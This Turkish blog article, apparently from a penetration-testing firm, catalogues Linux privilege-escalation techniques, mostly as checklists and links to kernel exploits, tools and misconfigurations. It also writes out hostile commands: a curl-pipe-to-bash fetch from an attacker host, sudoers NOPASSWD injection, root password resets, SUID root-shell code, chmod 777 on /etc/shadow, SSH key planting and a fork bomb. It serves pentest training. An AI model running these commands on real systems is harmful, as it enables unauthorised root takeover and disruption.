Linux Sızma Testlerinde Hak Yükseltme Yöntemleri

1
8277
views
Linux sızma testleri sırasında sıkılaştırmaların güvenilir şekilde yapılmamasından dolayı hak yükseltme saldırıları gerçekleştirilebilir. Bu yazıda, standart kullanıcı yetkileri ile erişilen Linux sistemlerde hak yükseltmek için yöntemler listelenecektir.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

 

1) Temel Kontrol Noktaları

Hak yükseltme için girilen her sistemin bazı özelliklerini kontrol etmek ve zafiyet olup olmadığını incelemek gerekir. Kontrol maddeleri aşağıdaki gibi sıralanabilir.

  • Çekirdek (kernel) ve işletim sistemi sürümü
  • Sonradan veya varsayılan olarak kurulu olan uygulamaların sürümü
  • “root” yetkisi ile çalışan servisler ve uygulamalar
  • Kullanıcılar ve gruplar
  • Çalışan prosesler
  • Yapılandırma ayarları
  • Aygıtlar
  • Dosya içerisinde yazılı bilgiler (parola gibi)
  • Herkes tarafından çalıştırılabilir veya yazılabilir dosyalar (özellikle betikler) ve içerikleri
  • SUID veya GUID biti etkin dosyalar ve işlevleri
  • Servisler
  • Zamanlanmış görevler
  • Çevresel değişkenler
  • Uzaktan erişim (SSH, R* servisleri, VNC,…) için kimlik bilgileri veya anahtarlar

Belirtilen kontroller için çalıştırılabilecek komutların listesi aşağıdaki sitelerden elde edilebilir.

  • G0tmi1k: http://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation
  • RebootUser: https://www.rebootuser.com/?page_id=1721
  • Xapax: https://github.com/xapax/security/blob/master/privilege_escalation_-_linux.md
  • Cybrary: https://www.cybrary.it/0p3n/penetration-testing-checklist-linux-machine-intrusion-discovery/

 

2) Otomatik Kontrol Yöntemleri

Belirtilen kontrolleri otomatik olarak gerçekleştiren bir çok araç bulunmaktadır. Bu araçlardan en çok tercih edilenler aşağıdaki gibidir.

  • Linenum (RebootUser): https://www.siberportal.org/red-team/linux-penetration-tests/linenum-betigi-ile-tespit-edilen-zamanlanmis-gorev-betiginde-hatali-joker-karakteri-kullanimi-tar-araci-ile-hak-yukseltme/
  • Unix-Privesc-Check (PentestMonkey): https://www.siberportal.org/red-team/linux-penetration-tests/unix-privesc-check-betigi-ile-tespit-edilen-zafiyetli-chkrootkit-paketindeki-zafiyet-istismar-edilerek-root-yetkileri-ile-komut-satirinin-elde-edilmesi/
  • LinuxPrivChecker: https://www.siberportal.org/red-team/mysql-database-penetration-tests/linuxprivchecker-betigi-ile-tespit-edilen-mysql-kullanici-tanimli-fonksiyon-raptor_udf-hak-yukseltme-zafiyetinin-istismari/
  • Linux-Local-Enum: https://www.siberportal.org/red-team/linux-penetration-tests/linux-local-enum-betigi-ile-tespit-edilen-hatali-yapilandirma-zafiyeti-istismar-edilerek-root-yetkileri-ile-komut-satirinin-elde-edilmesi/
  • Linux-Exploit-Suggester: https://www.siberportal.org/red-team/linux-penetration-tests/linux-exploit-suggester-betigi-ile-tespit-edilen-isletim-sistemi-zafiyeti-istismar-edilerek-root-yetkileri-ile-komut-satirinin-elde-edilmesi/
  • KernelPop: https://www.siberportal.org/red-team/linux-penetration-tests/kernelpop-betigi-ile-tespit-edilen-isletim-sistemi-zafiyetinin-istismar-edilerek-root-yetkileri-ile-komut-satirinin-elde-edilmesi
  • Linux_Exploit_Suggester: https://github.com/PenturaLabs/Linux_Exploit_Suggester VEYA https://github.com/InteliSecureLabs/Linux_Exploit_Suggester (Güncel değildir. Linux-Exploit-Suggester kullanılması tavsiye edilir.)
  • LinExpSuggester & LinPrivChecker & LinExpChecker: https://github.com/reider-roque/linpostexp (Diğer orijinal betiklerin yedekleri bulunmaktadır.)
  • LARE: https://github.com/m4lv0id/LARE
  • Auto-Root-Exploit: https://github.com/nilotpalbiswas/Auto-Root-Exploit (LARE betiğinin sadece internetten istismar kodu indirme özelliği olan koddur)
  • Elevator: https://github.com/guifre/Elevator
  • Inspector: https://github.com/graniet/Inspector
  • Linux Soft Exploit Suggester: https://www.kitploit.com/2017/11/linux-soft-exploit-suggester-search.html
  • PrivEscalation: https://github.com/expl0i13r/privescalation/blob/master/privescalation.sh (Sadece genel sorgular bulunur)
  • MSF: post/multi/recon/local_exploit_suggester

Not: Bu dosyaları indirmeden çalıştırmak için aşağıdaki gibi bir yöntem kullanılabilir.

curl http://KaliIP/Betik.sh | bash

 

3) Örnek Hak Yükseltme Zafiyetleri ve İstismar Yöntemleri

Hak yükseltme yöntemi belirlendikten sonra bir takım yöntemler ile hak yükseltme işlemi gerçekleştirilebilir. Bu yöntemlerden en öne çıkanlar aşağıdaki gibi sıralanabilir.

İşletim sistemi zafiyetleri aşağıdaki gibi sıralanabilir.

  • Linux Kernel 4.4.x (Ubuntu 16.04) – ‘double-fdput()’ bpf(BPF_PROG_LOAD) # Exploit-DB 39772 && MSF bpf_priv_esc: https://www.siberportal.org/red-team/linux-penetration-tests/linux-kernel-4-4-x-ubuntu-16-04-lts-isletim-sistemindeki-hak-yukseltme-zafiyetinin-double-fdput-istismar-edilerek-root-yetkileri-ile-komut-satirinin-elde-edilmesi/
  • FreeBSD 9.0 – Intel SYSRET # Exploit-DB 28718: https://www.siberportal.org/red-team/linux-penetration-tests/freebsd-9-0-isletim-sistemindeki-hak-yukseltme-zafiyetinin-intel-sysret-istismar-edilerek-root-yetkileri-ile-komut-satirinin-elde-edilmesi/
  • FreeBSD 9.0 < 9.1 mmap/ptrace ## Exploit-DB 26368: https://www.siberportal.org/red-team/linux-penetration-tests/freebsd-9-0-isletim-sistemindeki-hak-yukseltme-zafiyetinin-mmap-ptrace-istismar-edilmesi/
  • Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) – ‘ip_append_data()’ Ring0 # Exploit-DB 9542: https://www.siberportal.org/red-team/linux-penetration-tests/centos-4-5-linux-kernel-2-6-9-55-isletim-sistemindeki-hak-yukseltme-zafiyetinin-ip_append_data-istismar-edilerek-root-yetkileri-ile-komut-satirinin-elde-edilmesi/
  • Linux Kernel 2.4.x/2.6.x (CentOS 4.8/5.3 / RHEL 4.8/5.3 / SuSE 10 SP2/11 / Ubuntu 8.10) (PPC) – ‘sock_sendpage()’ # Exploit-DB 9545 && Security Focus 36038-6: https://www.siberportal.org/red-team/linux-penetration-tests/centos-4-5-linux-kernel-2-6-9-55-isletim-sistemindeki-hak-yukseltme-zafiyetinin-sock_sendpage-istismar-edilerek-root-yetkileri-ile-komut-satirinin-elde-edilmesi/
  • Linux Kernel 2.6.17 < 2.6.24.1 – ‘vmsplice’ # Exploit-DB 5092: https://www.siberportal.org/red-team/linux-penetration-tests/kernelpop-betigi-ile-tespit-edilen-isletim-sistemi-zafiyetinin-istismar-edilerek-root-yetkileri-ile-komut-satirinin-elde-edilmesi/
  • Linux Kernel 3.16.0 – Apport (Ubuntu 14.04/14.10/15.04) – Race Condition # Exploit-DB 37088 && Kernel-Exploits ofs_32: https://www.siberportal.org/red-team/linux-penetration-tests/apport-ubuntu-14-04-14-10-15-04-isletim-sistemindeki-hak-yukseltme-zafiyetinin-race-condition-istismar-edilerek-root-yetkileri-ile-komut-satirinin-elde-edilmesi/
  • Linux Kernel >=4.4 Ubuntu 14.04.2 LTS – UAF via double-fdput() in bpf(BPF_PROG_LOAD) # Chromium 808: https://www.siberportal.org/red-team/linux-penetration-tests/linux-kernel-4-4-x-isletim-sistemindeki-hak-yukseltme-zafiyetinin-istismar-edilerek-root-yetkileri-ile-komut-satirinin-elde-edilmesi/
  • Ubuntu 14.04.2 LTS – Kernel 3.16.0 – Apport/Abrt (Ubuntu / Fedora) # Exploit-DB 36746 && Kernel-Exploits ofs_32: https://www.siberportal.org/red-team/linux-penetration-tests/linux-kernel-3-16-0-isletim-sistemindeki-hak-yukseltme-zafiyetinin-istismar-edilerek-root-yetkileri-ile-komut-satirinin-elde-edilmesi/
  • Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) – ‘overlayfs’ # Exploit-DB 37292: https://www.siberportal.org/red-team/linux-penetration-tests/linux-kernel-3-13-0-isletim-sistemindeki-hak-yukseltme-zafiyetinin-istismar-edilerek-root-yetkileri-ile-komut-satirinin-elde-edilmesi/
  • Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) – ‘overlayfs’ # Exploit-DB 39166: https://www.siberportal.org/red-team/linux-penetration-tests/linux-kernel-4-4-3-isletim-sistemindeki-hak-yukseltme-zafiyetinin-istismar-edilerek-komut-satirinin-elde-edilmesi/
  • Linux Kernel 2.6 (Gentoo / Ubuntu 8.10/9.04) UDEV < 1.4.1 # Exploit-DB 8572 / 8478: https://www.siberportal.org/red-team/linux-penetration-tests/linux-kernel-2-6-isletim-sistemindeki-hak-yukseltme-zafiyetinin-istismar-edilerek-komut-satirinin-elde-edilmesi/
  • Linux Kernel 2.6.22 < 3.9 – ‘Dirty COW’ ‘PTRACE_POKEDATA’ Race Condition (/etc/passwd Method) # Exploit-DB 40839: https://www.siberportal.org/red-team/linux-penetration-tests/linux-exploit-suggester-betigi-ile-tespit-edilen-isletim-sistemi-zafiyeti-istismar-edilerek-root-yetkileri-ile-komut-satirinin-elde-edilmesi/ && https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs (dirty.c)
  • Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) – Local Privilege Escalation # Exploit-DB 44298: https://www.siberportal.org/red-team/penetration-testing/hack-the-box-nibbles-cozumu/
  • Linux Kernel 2.6.22 < 3.9 (x86/x64) – ‘Dirty COW /proc/self/mem’ Race Condition Privilege Escalation (SUID Method) # ExploitDB 40616: https://github.com/muratyesiltepe/typhoon-vm/blob/master/writeup.md#5–shellshock
  • Linux Kernel 4.3.3 – ‘overlayfs’ # Exploit-DB 39230: https://resources.infosecinstitute.com/privilege-escalation-linux-live-examples/#gref
  • Linux Kernel 2.4/2.6 – ‘sock_sendpage()’ # Exploit-DB 9641: https://www.vulnhub.com/entry/pwnos-10,33/
  • ReiserFS (Linux Kernel 2.6.34-rc3 / RedHat / Ubuntu 9.10) – ‘xattr’ # Exploit-DB 12130:
  • Linux Kernel < 2.6.36-rc1 (Ubuntu 10.04 / 2.6.32) – ‘CAN BCM’ # Exploit-DB 14814:
  • Linux PAM 1.1.0 (Ubuntu 9.10/10.04) – MotD # Exploit-DB 14339:
  • Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) – KASLR / SMEP # ExploitDB 43418:
  • Linux Kernel 2.6.36-rc8 – ‘RDS Protocol’ # Exploit-DB 15285:
  • Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04) – ‘Full-Nelson.c’ # Exploit-DB 15704:
  • Linux Kernel < 2.6.36.2 (Ubuntu 10.04) – ‘Half-Nelson.c’ Econet # Exploit-DB 17787:
  • Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64) – ‘Mempodipper’ # Exploit-DB 18411 / 35161: https://gist.github.com/karthick18/1686299
  • Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) – Netfilter target_offset Out-of-Bounds # Exploit-DB 40049: https://www.exploit-db.com/exploits/40049/
  • Çekirdek İstismar Listesi: https://github.com/lucyoa/kernel-exploits && https://github.com/SecWiki/linux-kernel-exploits

 

Uygulama zafiyetleri aşağıdaki gibi sıralanabilir.

  • Chkrootkit 0.49 # Exploit-DB 33899 && MSF chkrootkit: https://www.siberportal.org/red-team/linux-penetration-tests/unix-privesc-check-betigi-ile-tespit-edilen-zafiyetli-chkrootkit-paketindeki-zafiyet-istismar-edilerek-root-yetkileri-ile-komut-satirinin-elde-edilmesi/
  • Sudo 1.8.14 (RHEL 5/6/7 / Ubuntu) – ‘Sudoedit’ # Exploit-DB 37710:
  • glibc < 2.26 – ‘getcwd()’ – RationalLove# Exploit-DB 43775 && MSF glibc_realpath_priv_esc:

Not: Gerçek/Kurumsal ortamlarda işletim sistemi ve Çekirdek zafiyetlerinin istismarı sistemin çalışabilirliğini bozacağı için, dikkatli davranılması tavsiye edilmektedir.

 

Yapılandırma zafiyetleri aşağıdaki gibi sıralanabilir.

  • Sudo yetkisi
  • Sudo enjeksiyonu: https://github.com/nongiach/sudo_inject
  • Yazılabilir /etc/passwd dosyası: https://www.siberportal.org/red-team/linux-penetration-tests/erisim-izinleri-uygun-ayarlanmamis-etc-passwd-dosyasinin-kotuye-kullanilarak-hak-yukseltilmesi/
  • Yazılabilir /etc/sudoers dosyası
  • “history” geçmişleri
    • ~/.bash_history
    • ~/.nano_history
    • ~/.atftp_history
    • ~/.mysql_history
    • ~/.php_history
  • Yapılandırma dosyaları
    • /etc/syslog.conf
    • /etc/chttp.conf
    • /etc/lighttpd.conf
    • /etc/cups/cupsd.conf
    • /etc/inetd.conf
    • /etc/apache2/apache2.conf
    • /etc/my.conf
    • /etc/httpd/conf/httpd.conf
    • /opt/lampp/etc/httpd.conf
    • ls -aRl /etc/ | awk ‘$1 ~ /^.*r.*/
  • Özel anahtar içerebilecek dosyalar
    • ~/.ssh/authorized_keys
    • ~/.ssh/identity.pub
    • ~/.ssh/identity
    • ~/.ssh/id_rsa.pub
    • ~/.ssh/id_rsa
    • ~/.ssh/id_dsa.pub
    • ~/.ssh/id_dsa
    • /etc/ssh/ssh_config
    • /etc/ssh/sshd_config
    • /etc/ssh/ssh_host_dsa_key.pub
    • /etc/ssh/ssh_host_dsa_key
    • /etc/ssh/ssh_host_rsa_key.pub
    • /etc/ssh/ssh_host_rsa_key
    • /etc/ssh/ssh_host_key.pub
    • /etc/ssh/ssh_host_key
  • /root/.bashrc dosyası: https://null-byte.wonderhowto.com/how-to/use-misconfigured-suid-bit-escalate-privileges-get-root-0173929/
  • PATH Çevresel Değişkeni: https://www.siberportal.org/red-team/linux-penetration-tests/linux-isletim-sisteminde-suid-biti-zafiyeti-istismar-edilerek-cevresel-degiskenlerin-degistirilmesi-ve-root-yetkilerine-hak-yukseltilmesi/ && http://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/
  • SUID biti etkin dosyada çevresel değişken: https://bitvijays.github.io/LFC-VulnerableMachines.html#environment-variable-abuse
  • SUID biti etkin “donpcgd” aracı: https://www.siberportal.org/red-team/linux-penetration-tests/linux-isletim-sisteminde-suid-biti-zafiyeti-istismar-edilerek-zamanlanmis-gorev-olusturulmasi-ve-root-yetkilerine-hak-yukseltilmesi/
  • SUID biti etkin “procwatch” aracı: https://www.siberportal.org/red-team/linux-penetration-tests/linux-isletim-sisteminde-suid-biti-zafiyeti-istismar-edilerek-cevresel-degiskenlerin-degistirilmesi-ve-root-yetkilerine-hak-yukseltilmesi/
  • SUID biti etkin “nmap” aracı: https://www.siberportal.org/red-team/linux-penetration-tests/suid-biti-etkin-olan-nmap-araci-ile-hak-yukseltme-isleminin-gerceklestirilmesi/
  • SUID biri etkin “vim.basic” aracı: https://null-byte.wonderhowto.com/how-to/use-misconfigured-suid-bit-escalate-privileges-get-root-0173929/
  • SUID biti etkin “tcpdump” aracı:https://bitvijays.github.io/LFC-VulnerableMachines.html#tcpdump
  • SUID biti etkin “tee” aracı: https://bitvijays.github.io/LFC-VulnerableMachines.html#tee-suid
  • SUID biti etkin “strace” aracı: http://mannulinux.blogspot.com/2018/07/vulnhub-linux-vm-linsecurity-1.html
  • SUID biti etkin “wget” aracı: https://bitvijays.github.io/LFC-VulnerableMachines.html#wget && sudo wget -i /etc/shadow 2>&1
  • SUID biti etkin “pip” && “npm” aracı: https://bitvijays.github.io/LFC-VulnerableMachines.html#package-installation
  • SUID biti etkin “network-scripts” Betikleri ile Kod Enjeksiyonu (Redhat/CENTOS): https://pentestworld.blogspot.com/2020/01/htb-networked.html
  • IFS: http://www.dankalia.com/tutor/01005/0100501004.htm
  • Symlink: https://bitvijays.github.io/LFC-VulnerableMachines.html#symlink-creation
  • Zamanlanmış görevde Joker kullanılmış “tar” aracı: https://www.siberportal.org/red-team/linux-penetration-tests/linenum-betigi-ile-tespit-edilen-zamanlanmis-gorev-betiginde-hatali-joker-karakteri-kullanimi-tar-araci-ile-hak-yukseltme#tar-joker
  • Openssh 4.7 <–> 7.1: https://dustri.org/b/how-to-radare2-a-fake-openssh-exploit.html
  • LD_Preload Çevresel Değişkeni: https://www.siberportal.org/red-team/linux-penetration-tests/linux-sizma-testlerinde-ld_preload-degiskeni-kullaniminin-istismar-edilerek-hak-yukseltilmesi
  • Docker grubu üyesi iken docker komutları ile hak yükseltme: mannulinux.blogspot.com/2018/07/vulnhub-linux-vm-linsecurity-1.html
  • apt ve dpkg araçları: https://bitvijays.github.io/LFC-VulnerableMachines.html#unattended-apt-upgrade

SUID/GUID biti etkinliği için kontrol edilebilecek bir çok uygulama vardır. Bu uygulamalardan bazıları aşağıdaki gibidir.

  • nmap
  • mysql –> mysql -e ‘\! /bin/sh’
  • vim
  • less
  • more
  • nano
  • sudoedit
  • tar
  • zip
  • cp
  • mv
  • find

Not: Güvenlik kontrollerinin atlatılabileceği veya hak yükseltmek için kullanılabilecek araçlar/uygulamalar GtfoBins sitesinden incelenebilir.

https://gtfobins.github.io/

 

Zamanlanmış görevleri listelemeden proseslerdeki değişiklikler izlenerek de zamanlanmış görevler tespit edilebilir.

 

 

Not: SSH, NFS, Rlogin, SAMBA, HTTP/HTTPS, Mysql… gibi servislerdeki zafiyetler ve istismar yöntemleri “Sızma Testlerinde ve Denetimlerde En Çok Karşılaşılan Servisleri Değerlendirme:” isimli yazı dizisinde incelenmektedir.

 

4) Disk Sistemine Erişim Sağlanması Durumunda Komut Satırına Erişim İçin Yapılabilecek İşlemler

NFS, Redis, SAMBA, FTP gibi servislerin istismarı ile disk sistemine erişim sağlanabilir. Disk sistemine erişim sağlandıktan sonra komut satırına erişim için çeşitli teknikler kullanılabilir. Bu tekniklerden en çok kullanılanlar aşağıdaki gibidir.

  • Disk sistemine erişim sağlandıktan sonra komut satırına erişim için çeşitli teknikler kullanılabilir.
  • Hedef “~/.ssh/authorized_keys” dosyasına saldırgana ait genel anahtar eklenebilir.
  • Hedef “~/.rhosts” dosyasına ilgili kullanıcı adı için “+ KullaniciAdi” ifadesi eklenebilir.
  • Hedef “var/www/html” dizinine ters baplantı sağlayacak bir dosya (veya komut enjeksiyonuna sahip bir dosya) eklenebilir.
  • Hedef sistemde zamanlanmış görevlerin bulunduğu dizine (Ubuntu için “/var/spool/cron/crontabs/”, Debian için “/var/spool/cron/”) ters bağlantı sağlayacak betik eklenebilir.
    • crontab -l
    • ls -alh /var/spool/cron
    • ls -al /etc/ | grep cron
    • ls -al /etc/cron*
    • cat /etc/cron*
    • cat /etc/at.allow
    • cat /etc/at.deny
    • cat /etc/cron.allow
    • cat /etc/cron.deny
    • cat /etc/crontab
    • cat /etc/anacrontab
    • cat /var/spool/cron/crontabs/root

 

5) Hak Yükseltme Komutları & Betikleri

İhtiyaca göre bir betik içerisine komutlar yazılarak yetki yükseltilebilir. Bu yöntemler aşağıdaki gibi sıralanabilir.

  • Bir kullanıcı “root” gibi komut çalıştırabilecek şekilde ayarlanabilir.

echo “YetkisizHesap ALL=(ALL) NOPASSWD:ALL” >> /etc/sudoers

echo “YetkisizHesap ALL=(ALL) NOPASSWD:ALL” >> sudo tee -a /etc/sudoers

  • Bir kullanıcı “admin” grubuna eklenebilir.

usermod -a -G admin YetkisizHesap

  • “root” hesabının parolası değiştirilebilir.

echo “YeniParola\nYeniParola” | passwd root

  • “root” hesabının parolası değiştirilebilir.

echo -e ” YeniParola\nYeniParola” | passwd root

  • “root” hesabının parolası değiştirilebilir.

echo -e “YeniParola” | passwd root

  • “root” hesabının parolası değiştirilebilir.

echo “YeniParola” | passwd -stdin root

  • “root” hesabının parolası değiştirilebilir.

echo “root:YeniParola” | chpasswd

  • “root” hesabının parolası değiştirilebilir.

usermod -p ‘$6$ZWb1CVRs$bUrdSQT9glMWN/Y0T8pvueB6.zseK4kXPFELD74EuwQI/hzLQZ6d0NkLv6yXIK71TO50SHDLlR75M4ccFxgNG1’ root

  • “/bin/dash” kabuğu her kullanıcı tarafından çalıştırılabilir hale getirilir.

#\!/bin/bash
chmod u+s /bin/dash
Sonrasında bu kabuğa geçilir.
/bin/dash

  • “/bin/bash” kabuğunun kopyasının sahipliği “root” yapılarak, SUID biti etkinleştirilir.

cp /bin/bash /tmp/kabuk; chown root /tmp/kabuk; chgrp root /tmp/kabuk; chmod u+s /tmp/kabuk

  • “/bin/bash” kabuğunun SUID ve GUID biti etkinleştirilir.

int main(void)
{
setgid(0);
setuid(0);
system(“/bin/bash”); // execl(“/bin/sh”, “sh”, 0);
}

VEYA

int main(void){
setresuid(0, 0, 0);
system(“/bin/sh”);
}

VEYA

int main(void){
setgid(0); setuid(0);
system(“/bin/bash -p”);

}

Sonrasında bu betik çalıştırılabilir hale getirilir.
gcc betik.c

VEYA

gcc -m32 -o Sonuc betik.c

  • “/etc/shadow” veya “/etc/passwd” dosyası herkes tarafından yazılabilir hale getirilir.

chmod 777 /etc/shadow
(Veya) chmod 777 /etc/passwd
Sonrasında bu dosyaya parola özeti eklenebilir.
echo “YeniHesap:\$1\$TuzEki\$bSynt.S1Rbk7t6MNELmxR0:0:0:,,,:/root:/bin/bash” >> /etc/passwd

  • Python betik dosyası ile belirtilen teknikler kullanılabilir.
 

 

  • “ssh-keygen” gibi bir araçla oluşturulan SSH özel anahtarı ile ilişkili genel anahtar “root” kullanıcısının “/root/.ssh/authorized_keys” dosyasına olarak eklenir.

ssh-keygen -t rsa -f /tmp/anahtar
cat /tmp/anahtar.pub >> /root/.ssh/authorized_keys
Sonra da özel anahtar ile SSH yapılır.
ssh root@HEDEF_PC -i /tmp/anahtar

  • R* servisler (Rlogin gibi) ile giriş yapılmak için “/root/.rhosts” dosyasına “++” veya “+ root” yazılarak “root” kullanıcısı ile giriş yapılabilir. Sonrasında Putty gibi bir aracın Connection sekmesinde “Data > Auto-login username” ve “Rlogin > Local username” alanlarına “root” yazılarak giriş yapılabilir.

echo “+ root” > ~/.rhosts
chmod 600 ~/.rhosts

 

Not: Bir kullanıcının yeniden oturum açmasının gerektiği durumlarda kendi kendini çağıran basit bir Bash fonksiyonu ile sistem yavaşlatılabilir, hatta yeniden başlatılmaya zorlanabilir. Ancak gerçek ortamlarda bu saldırı tavsiye edilmemektedir.

:(){ :|: & };:

 

Kaynaklar:

https://www.sans.org/reading-room/whitepapers/linux/attack-defend-linux-privilege-escalation-techniques-2016-37562

A guide to Linux Privilege Escalation



http://www.dankalia.com/tutor/01005/0100501004.htm

 

 

 

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

1 YORUM

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.